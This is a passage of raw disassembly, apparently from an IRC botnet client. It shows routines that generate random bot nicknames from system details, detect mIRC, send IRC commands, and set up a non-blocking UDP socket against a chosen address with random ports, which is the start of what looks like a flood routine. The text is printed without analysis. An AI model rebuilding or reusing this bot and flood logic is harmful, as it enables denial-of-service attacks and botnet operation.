		jmp	short loc_41D1F5
; ---------------------------------------------------------------------------


loc_41D1E4:				; CODE XREF: sub_41D181+5Aj
		cmp	eax, 8
		jnz	short loc_41D1F0
		call	sub_41D917
		jmp	short loc_41D1F5
; ---------------------------------------------------------------------------


loc_41D1F0:				; CODE XREF: sub_41D181+3Dj
					; sub_41D181+66j
		call	sub_41D1FD


loc_41D1F5:				; CODE XREF: sub_41D181+14j
					; sub_41D181+20j ...
		mov	dword_458448, eax
		retn	8
sub_41D181	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1FD	proc near		; CODE XREF: sub_41D181:loc_41D1F0p
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	ebx, offset byte_45846C
		push	0
		push	ebx
		mov	edi, ecx
		call	sub_429760
		xor	esi, esi
		add	esp, 0Ch
		cmp	[edi+24h], esi
		jl	short loc_41D235


loc_41D21B:				; CODE XREF: sub_41D1FD+36j
		call	sub_429B9C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	byte_45846C[esi], dl
		inc	esi
		cmp	esi, [edi+24h]
		jle	short loc_41D21B


loc_41D235:				; CODE XREF: sub_41D1FD+1Cj
		and	byte_45846C[esi], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41D1FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D242	proc near		; CODE XREF: sub_41D181+33p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	10h
		mov	esi, offset byte_45844C
		push	ebx
		push	esi
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		push	esi
		call	dword_456F90	; GetComputerNameA
		movsx	eax, byte_45844C
		push	41h
		pop	ecx


loc_41D277:				; CODE XREF: sub_41D242+40j
		cmp	eax, ecx
		jnz	short loc_41D27E
		xor	ebx, ebx
		inc	ebx


loc_41D27E:				; CODE XREF: sub_41D242+37j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_41D277
		push	61h
		pop	ecx


loc_41D287:				; CODE XREF: sub_41D242+50j
		cmp	eax, ecx
		jnz	short loc_41D28E
		xor	ebx, ebx
		inc	ebx


loc_41D28E:				; CODE XREF: sub_41D242+47j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_41D287
		test	ebx, ebx
		jnz	short loc_41D2A5
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	esi
		call	sub_429B03
		pop	ecx
		pop	ecx


loc_41D2A5:				; CODE XREF: sub_41D242+54j
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D242	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2AB	proc near		; CODE XREF: sub_41D181+27p

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, offset byte_458418
		push	0
		push	esi
		mov	ebx, ecx
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	7
		push	800h
		call	dword_4370F8	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_447714
		push	esi
		call	sub_429B03
		push	esi
		call	sub_4293A0
		add	esp, 10h
		mov	edi, eax
		jmp	short loc_41D30C
; ---------------------------------------------------------------------------


loc_41D2F7:				; CODE XREF: sub_41D2AB+64j
		call	sub_429B9C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 30h
		mov	byte_458418[edi], dl
		inc	edi


loc_41D30C:				; CODE XREF: sub_41D2AB+4Aj
		cmp	edi, [ebx+24h]
		jle	short loc_41D2F7
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D2AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D318	proc near		; CODE XREF: sub_41D181+Fp

var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_90		= dword	ptr -90h
var_6		= byte ptr -6
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0A0h
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	edi, offset byte_45847C
		push	0
		push	edi
		mov	[ebp+var_4], ecx
		mov	esi, offset off_447718
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_A0], 9Ch
		push	eax
		call	dword_437050	; GetVersionExA
		test	eax, eax
		jz	loc_41D43D
		push	[ebp+var_98]
		push	[ebp+var_9C]
		push	offset aD_D	; "%d.%d"
		push	4
		push	esi
		call	sub_429BBE
		add	esp, 14h
		cmp	[ebp+var_9C], 4
		jnz	short loc_41D3D0
		cmp	[ebp+var_98], 0
		jnz	short loc_41D3B0
		cmp	[ebp+var_90], 1
		jnz	short loc_41D399
		mov	esi, offset a95	; "95"


loc_41D399:				; CODE XREF: sub_41D318+7Aj
		cmp	[ebp+var_90], 2
		jnz	loc_41D43D
		mov	esi, offset aNt_0 ; "NT"
		jmp	loc_41D43D
; ---------------------------------------------------------------------------


loc_41D3B0:				; CODE XREF: sub_41D318+71j
		cmp	[ebp+var_98], 0Ah
		jnz	short loc_41D3C0
		mov	esi, offset a98	; "98"
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D3C0:				; CODE XREF: sub_41D318+9Fj
		cmp	[ebp+var_98], 5Ah
		jnz	short loc_41D43D
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D3D0:				; CODE XREF: sub_41D318+68j
		cmp	[ebp+var_9C], 5
		jnz	short loc_41D409
		cmp	[ebp+var_98], 0
		jnz	short loc_41D3E9
		mov	esi, offset a2k	; "2K"
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D3E9:				; CODE XREF: sub_41D318+C8j
		cmp	[ebp+var_98], 1
		jnz	short loc_41D3F9
		mov	esi, offset aXp	; "XP"
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D3F9:				; CODE XREF: sub_41D318+D8j
		cmp	[ebp+var_98], 2
		jnz	short loc_41D43D
		mov	esi, offset a2k3_0 ; "2K3"
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D409:				; CODE XREF: sub_41D318+BFj
		cmp	[ebp+var_9C], 6
		jnz	short loc_41D43D
		cmp	[ebp+var_98], 0
		jnz	short loc_41D42F
		cmp	[ebp+var_6], 1
		jnz	short loc_41D428
		mov	esi, offset aVista_0 ; "Vista"
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D428:				; CODE XREF: sub_41D318+107j
		mov	esi, offset a2k8 ; "2K8"
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D42F:				; CODE XREF: sub_41D318+101j
		cmp	[ebp+var_98], 1
		jnz	short loc_41D43D
		mov	esi, offset a7	; "7"


loc_41D43D:				; CODE XREF: sub_41D318+3Fj
					; sub_41D318+88j ...
		push	esi
		push	edi
		call	sub_429B03
		push	edi
		call	sub_4293A0
		mov	ebx, [ebp+var_4]
		add	esp, 0Ch
		mov	esi, eax
		jmp	short loc_41D469
; ---------------------------------------------------------------------------


loc_41D454:				; CODE XREF: sub_41D318+154j
		call	sub_429B9C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 30h
		mov	byte_45847C[esi], dl
		inc	esi


loc_41D469:				; CODE XREF: sub_41D318+13Aj
		cmp	esi, [ebx+24h]
		jle	short loc_41D454
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D475	proc near		; CODE XREF: sub_41D181+1Bp

var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_9C		= dword	ptr -9Ch
var_12		= byte ptr -12h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0ACh
		push	esi
		push	edi
		push	10h
		mov	edi, offset dword_45848C
		push	0
		push	edi
		mov	esi, offset off_447718
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	7
		push	800h
		call	dword_4370F8	; GetLocaleInfoA
		lea	eax, [ebp+var_AC]
		mov	[ebp+var_AC], 9Ch
		push	eax
		call	dword_437050	; GetVersionExA
		test	eax, eax
		jz	loc_41D5A9
		push	[ebp+var_A4]
		push	[ebp+var_A8]
		push	offset aD_D	; "%d.%d"
		push	4
		push	esi
		call	sub_429BBE
		add	esp, 14h
		cmp	[ebp+var_A8], 4
		jnz	short loc_41D53C
		cmp	[ebp+var_A4], 0
		jnz	short loc_41D51C
		cmp	[ebp+var_9C], 1
		jnz	short loc_41D505
		mov	esi, offset a95	; "95"


loc_41D505:				; CODE XREF: sub_41D475+89j
		cmp	[ebp+var_9C], 2
		jnz	loc_41D5A9
		mov	esi, offset aNt_0 ; "NT"
		jmp	loc_41D5A9
; ---------------------------------------------------------------------------


loc_41D51C:				; CODE XREF: sub_41D475+80j
		cmp	[ebp+var_A4], 0Ah
		jnz	short loc_41D52C
		mov	esi, offset a98	; "98"
		jmp	short loc_41D5A9
; ---------------------------------------------------------------------------


loc_41D52C:				; CODE XREF: sub_41D475+AEj
		cmp	[ebp+var_A4], 5Ah
		jnz	short loc_41D5A9
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_41D5A9
; ---------------------------------------------------------------------------


loc_41D53C:				; CODE XREF: sub_41D475+77j
		cmp	[ebp+var_A8], 5
		jnz	short loc_41D575
		cmp	[ebp+var_A4], 0
		jnz	short loc_41D555
		mov	esi, offset a2k	; "2K"
		jmp	short loc_41D5A9
; ---------------------------------------------------------------------------


loc_41D555:				; CODE XREF: sub_41D475+D7j
		cmp	[ebp+var_A4], 1
		jnz	short loc_41D565
		mov	esi, offset aXp	; "XP"
		jmp	short loc_41D5A9
; ---------------------------------------------------------------------------


loc_41D565:				; CODE XREF: sub_41D475+E7j
		cmp	[ebp+var_A4], 2
		jnz	short loc_41D5A9
		mov	esi, offset a2k3_0 ; "2K3"
		jmp	short loc_41D5A9
; ---------------------------------------------------------------------------


loc_41D575:				; CODE XREF: sub_41D475+CEj
		cmp	[ebp+var_A8], 6
		jnz	short loc_41D5A9
		cmp	[ebp+var_A4], 0
		jnz	short loc_41D59B
		cmp	[ebp+var_12], 1
		jnz	short loc_41D594
		mov	esi, offset aVista_0 ; "Vista"
		jmp	short loc_41D5A9
; ---------------------------------------------------------------------------


loc_41D594:				; CODE XREF: sub_41D475+116j
		mov	esi, offset a2k8 ; "2K8"
		jmp	short loc_41D5A9
; ---------------------------------------------------------------------------


loc_41D59B:				; CODE XREF: sub_41D475+110j
		cmp	[ebp+var_A4], 1
		jnz	short loc_41D5A9
		mov	esi, offset a7	; "7"


loc_41D5A9:				; CODE XREF: sub_41D475+4Ej
					; sub_41D475+97j ...
		call	sub_429B9C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 30h
		push	edx
		call	sub_429B9C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 30h
		push	edx
		call	sub_429B9C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_10]
		add	edx, 30h
		push	edx
		push	esi
		push	eax
		push	offset dword_44771C
		push	edi
		call	sub_429B03
		add	esp, 1Ch
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_41D475	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5EF	proc near		; CODE XREF: sub_41D181+44p

var_12		= byte ptr -12h
var_10		= byte ptr -10h

		sub	esp, 14h
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		push	10h
		mov	edi, offset dword_45849C
		push	ebp
		push	edi
		mov	esi, ecx
		call	sub_429760
		add	esp, 0Ch
		mov	ecx, esi
		mov	[esi+2Ch], ebp
		mov	[esi+30h], ebp
		mov	[esi+38h], ebp
		call	sub_41DA15
		mov	ebx, eax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	7
		push	800h
		call	dword_4370F8	; GetLocaleInfoA
		push	ebx
		mov	ebx, dword_437090
		push	edi
		call	ebx ; dword_437090
		lea	eax, [esp+24h+var_10]
		push	eax
		push	edi
		call	ebx ; dword_437090
		push	offset dword_447730
		push	edi
		call	ebx ; dword_437090
		xor	eax, eax
		inc	eax
		cmp	[esi+2Ch], ebp
		jz	short loc_41D656
		push	2
		pop	eax


loc_41D656:				; CODE XREF: sub_41D5EF+62j
		cmp	[esi+30h], ebp
		jz	short loc_41D65C
		inc	eax


loc_41D65C:				; CODE XREF: sub_41D5EF+6Aj
		cmp	[esi+38h], ebp
		jz	short loc_41D662
		inc	eax


loc_41D662:				; CODE XREF: sub_41D5EF+70j
		push	5
		pop	esi
		cmp	eax, esi
		jge	short loc_41D694
		sub	esi, eax


loc_41D66B:				; CODE XREF: sub_41D5EF+A3j
		call	sub_429B9C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [esp+24h+var_12]
		push	edx
		push	offset dword_44772C
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		lea	eax, [esp+24h+var_12]
		push	eax
		push	edi
		call	ebx ; dword_437090
		dec	esi
		jnz	short loc_41D66B


loc_41D694:				; CODE XREF: sub_41D5EF+78j
		push	offset dword_447730
		push	edi
		call	ebx ; dword_437090
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
sub_41D5EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6A6	proc near		; CODE XREF: sub_41D181+50p

var_4C		= byte ptr -4Ch
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	ebx, offset dword_458428
		push	0
		push	ebx
		call	sub_429760
		add	esp, 0Ch
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_41BAFF
		pop	ecx
		mov	[ebp+var_C], eax
		call	sub_429B9C
		push	1Ah
		mov	esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
		cdq
		pop	ecx
		lea	edi, [ebp+var_4C]
		idiv	ecx
		push	0Fh
		pop	ecx
		rep movsd
		movsw
		movsb
		add	dl, 61h
		mov	[ebp+var_8], dl
		call	sub_429B9C
		push	24h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_7], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_6], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_5], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_4], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_3], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_2], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_4C]
		mov	[ebp+var_1], al
		call	sub_429B9C
		cdq
		idiv	esi
		mov	dl, [ebp+edx+var_4C]
		movsx	eax, dl
		push	eax
		movsx	eax, [ebp+var_1]
		push	eax
		movsx	eax, [ebp+var_2]
		push	eax
		cmp	[ebp+var_C], 5
		movsx	eax, [ebp+var_3]
		push	eax
		movsx	eax, [ebp+var_4]
		push	eax
		movsx	eax, [ebp+var_5]
		push	eax
		movsx	eax, [ebp+var_6]
		push	eax
		movsx	eax, [ebp+var_7]
		push	eax
		movsx	eax, [ebp+var_8]
		push	eax
		jbe	short loc_41D7BD
		push	[ebp+var_C]
		push	offset aDCCCCCCCCC ; "|%d|%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_429B03
		add	esp, 30h
		jmp	short loc_41D7CB
; ---------------------------------------------------------------------------


loc_41D7BD:				; CODE XREF: sub_41D6A6+102j
		push	offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_429B03
		add	esp, 2Ch


loc_41D7CB:				; CODE XREF: sub_41D6A6+115j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_41D6A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7D2	proc near		; CODE XREF: sub_41D181+5Cp

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	ebx, offset dword_45845C
		push	0
		push	ebx
		mov	[ebp+var_14], ecx
		call	sub_429760
		add	esp, 0Ch
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_41BAFF
		pop	ecx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		call	sub_41DAC6
		mov	[ebp+var_10], eax
		call	sub_429B9C
		push	1Ah
		mov	esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
		cdq
		pop	ecx
		lea	edi, [ebp+var_54]
		idiv	ecx
		push	0Fh
		pop	ecx
		rep movsd
		movsw
		movsb
		add	dl, 61h
		mov	[ebp+var_8], dl
		call	sub_429B9C
		push	24h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_7], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_6], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_5], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_4], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_3], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_2], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_54]
		mov	[ebp+var_1], al
		call	sub_429B9C
		cdq
		idiv	esi
		mov	dl, [ebp+edx+var_54]
		movsx	eax, dl
		push	eax
		cmp	[ebp+var_C], 5
		movsx	eax, [ebp+var_1]
		push	eax
		movsx	eax, [ebp+var_2]
		push	eax
		movsx	eax, [ebp+var_3]
		push	eax
		movsx	eax, [ebp+var_4]
		push	eax
		movsx	eax, [ebp+var_5]
		push	eax
		movsx	eax, [ebp+var_6]
		push	eax
		movsx	eax, [ebp+var_7]
		push	eax
		movsx	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		jbe	short loc_41D8FA
		push	[ebp+var_C]
		push	offset aDSCCCCCCCCC ; "|%d|%s%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_429B03
		add	esp, 34h
		jmp	short loc_41D908
; ---------------------------------------------------------------------------


loc_41D8FA:				; CODE XREF: sub_41D7D2+113j
		push	offset aSCCCCCCCCC ; "%s%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_429B03
		add	esp, 30h


loc_41D908:				; CODE XREF: sub_41D7D2+126j
		mov	ecx, [ebp+var_14]
		call	sub_41DA15
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_41D7D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D917	proc near		; CODE XREF: sub_41D181+68p

var_48		= byte ptr -48h
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	ebx, offset dword_458438
		push	0
		push	ebx
		call	sub_429760
		call	sub_429B9C
		push	1Ah
		mov	esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"...
		cdq
		pop	ecx
		lea	edi, [ebp+var_48]
		idiv	ecx
		push	0Fh
		pop	ecx
		rep movsd
		movsw
		movsb
		add	dl, 61h
		mov	[ebp+var_8], dl
		call	sub_429B9C
		push	24h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_7], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_6], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_5], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_4], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_3], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_2], al
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_48]
		mov	[ebp+var_1], al
		call	sub_429B9C
		cdq
		idiv	esi
		movsx	eax, [ebp+edx+var_48]
		push	eax
		movsx	eax, [ebp+var_1]
		push	eax
		movsx	eax, [ebp+var_2]
		push	eax
		movsx	eax, [ebp+var_3]
		push	eax
		movsx	eax, [ebp+var_4]
		push	eax
		movsx	eax, [ebp+var_5]
		push	eax
		movsx	eax, [ebp+var_6]
		push	eax
		movsx	eax, [ebp+var_7]
		push	eax
		movsx	eax, [ebp+var_8]
		push	eax
		push	offset aCCCCCCCCC ; "%c%c%c%c%c%c%c%c%c"
		push	ebx
		call	sub_429B03
		add	esp, 38h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D917	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA15	proc near		; CODE XREF: sub_41D5EF+27p
					; sub_41D7D2+139p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	10h
		mov	esi, offset dword_4583F8
		push	0
		push	esi
		mov	ebx, ecx
		call	sub_429760
		add	esp, 0Ch
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_41BAFF
		mov	ebp, offset dword_447730
		mov	[esp+20h+var_C], eax
		push	ebp
		push	esi
		call	sub_429B03
		add	esp, 0Ch
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_456F44	; FindWindowA
		mov	edi, dword_437090
		test	eax, eax
		jz	short loc_41DA75
		push	offset aM	; "M"
		push	esi
		mov	dword ptr [ebx+2Ch], 1
		call	edi ; dword_437090


loc_41DA75:				; CODE XREF: sub_41DA15+4Fj
		push	offset dword_457CF8
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		jz	short loc_41DA93
		push	offset aP	; "P"
		push	esi
		mov	dword ptr [ebx+30h], 1
		call	edi ; dword_437090


loc_41DA93:				; CODE XREF: sub_41DA15+6Dj
		push	[esp+1Ch+var_C]
		lea	eax, [esp+20h+var_8]
		push	offset a_2d	; "%.2d"
		push	eax
		call	sub_429B03
		mov	eax, [esp+28h+var_C]
		add	esp, 0Ch
		mov	[ebx+28h], eax
		lea	eax, [esp+1Ch+var_8]
		push	eax
		push	esi
		call	edi ; dword_437090
		push	ebp
		push	esi
		call	edi ; dword_437090
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_41DA15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAC6	proc near		; CODE XREF: sub_41D7D2+31p
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	10h
		mov	esi, offset dword_458408
		push	0
		push	esi
		mov	edi, ecx
		call	sub_429760
		add	esp, 0Ch
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_41BAFF
		pop	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_456F44	; FindWindowA
		mov	ebx, dword_437090
		xor	ebp, ebp
		inc	ebp
		test	eax, eax
		jz	short loc_41DB10
		push	offset aM_0	; "M|"
		push	esi
		mov	[edi+2Ch], ebp
		call	ebx ; dword_437090


loc_41DB10:				; CODE XREF: sub_41DAC6+3Dj
		push	offset dword_457CF8
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		jz	short loc_41DB2A
		push	offset aP_0	; "P|"
		push	esi
		mov	[edi+30h], ebp
		call	ebx ; dword_437090


loc_41DB2A:				; CODE XREF: sub_41DAC6+57j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB31	proc near		; CODE XREF: sub_420D74+12p

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		jnz	short loc_41DB3C
		xor	eax, eax
		inc	eax
		jmp	short locret_41DB55
; ---------------------------------------------------------------------------


loc_41DB3C:				; CODE XREF: sub_41DB31+4j
		push	[esp+arg_0]
		push	offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0"
		push	offset aSS	; "%s %s\r\n"
		push	dword ptr [ecx]
		push	ecx
		call	sub_41C4E4
		add	esp, 14h

locret_41DB55:				; CODE XREF: sub_41DB31+9j
		retn	4
sub_41DB31	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB58	proc near		; CODE XREF: sub_40A9FE+794p
					; sub_40A9FE+231Ap ...
		mov	eax, [ecx+8]
		retn
sub_41DB58	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB5C	proc near		; CODE XREF: sub_40A9FE+7B1p
					; sub_40A9FE+8768p ...
		mov	eax, [ecx+0Ch]
		retn
sub_41DB5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB60	proc near		; CODE XREF: sub_418FA1+5BDp
					; sub_422009+DFp ...
		mov	al, [ecx+4]
		retn
sub_41DB60	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB64	proc near		; CODE XREF: sub_418FA1+64Bp
		mov	al, [ecx+5]
		retn
sub_41DB64	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB68	proc near		; CODE XREF: sub_40A9FE+6195p
					; sub_40A9FE+9991p
		mov	eax, [ecx]
		retn
sub_41DB68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB6B	proc near		; DATA XREF: sub_40A9FE+6FF6o

var_150		= dword	ptr -150h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 150h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	dword ptr [eax+12Ch], 1
		mov	eax, [ebp+var_150]
		xor	esi, esi
		mov	[ebp+var_8], eax
		push	esi
		mov	[ebp+arg_0], esi
		call	sub_42A7D5
		push	32h
		mov	[ebp+var_10], eax
		call	sub_4297B8
		pop	ecx
		cmp	eax, esi
		pop	ecx
		mov	[ebp+var_4], eax
		jz	loc_41DC8D
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_C8]
		push	eax
		call	dword_4372C0	; inet_addr
		push	[ebp+var_3C]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], 2
		call	dword_4372C4	; ntohs
		mov	ebx, dword_4372D8
		mov	[ebp+var_1E], ax


loc_41DBF4:				; CODE XREF: sub_41DB6B+111j
		xor	edi, edi
		cmp	[ebp+var_3C], edi
		jnz	short loc_41DC04
		call	sub_429B9C
		mov	[ebp+var_1E], ax


loc_41DC04:				; CODE XREF: sub_41DB6B+8Ej
		push	11h
		push	2
		push	2
		call	dword_4372BC	; socket
		mov	esi, eax
		cmp	esi, edi
		jl	short loc_41DC81
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 1
		push	eax
		push	8004667Eh
		push	esi
		call	dword_437290	; ioctlsocket


loc_41DC2D:				; CODE XREF: sub_41DB6B+D1j
